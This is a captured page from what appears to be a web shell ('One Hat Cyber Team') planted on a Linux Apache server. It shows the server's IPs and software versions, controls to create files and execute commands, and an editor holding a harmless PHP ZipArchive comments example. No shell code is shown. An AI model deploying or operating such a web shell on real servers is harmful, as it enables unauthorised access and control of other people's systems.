One Hat Cyber Team
Your IP :
172.69.214.92
Server IP :
188.114.97.7
Server :
Linux advantage-project 5.14.0-503.26.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 19 16:28:19 UTC 2025 x86_64
Server Software :
Apache/2.4.62 (Rocky Linux) OpenSSL/3.2.2
PHP Version :
8.3.17
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
pecl
/
zip
/
examples
/
Edit File:
get_set_comments.php
<?php error_reporting(E_ALL|E_STRICT); copy('test_with_comment.zip', 't.zip'); $z = new ZipArchive; $z->open('t.zip'); print_r($z); for ($i=0; $i<$z->numFiles; $i++) { echo "index: $i\n"; print_r($z->getCommentIndex($i)); echo "\n\n"; } echo "foobar/ " . $z->getCommentName('foobar/') . "\n"; echo "Archive comment: " . $z->getArchiveComment() . "\n"; $z->setCommentIndex(1, 'new comment idx 1'); $z->setCommentName('foobar/', 'new comment foobar/'); $z->setArchiveComment( 'new archive comment'); for ($i=0; $i<$z->numFiles; $i++) { echo "index: $i\n"; print_r($z->getCommentIndex($i)); echo "\n\n"; } echo $z->getCommentName('foobar/') . "\n"; // Get the original comment echo $z->getCommentName('foobar/', ZIPARCHIVE::FL_UNCHANGED) . "\n"; echo "Archive comment: " . $z->getArchiveComment() . "\n"; echo "Archive comment (original): " . $z->getArchiveComment(ZIPARCHIVE::FL_UNCHANGED) . "\n";
Simpan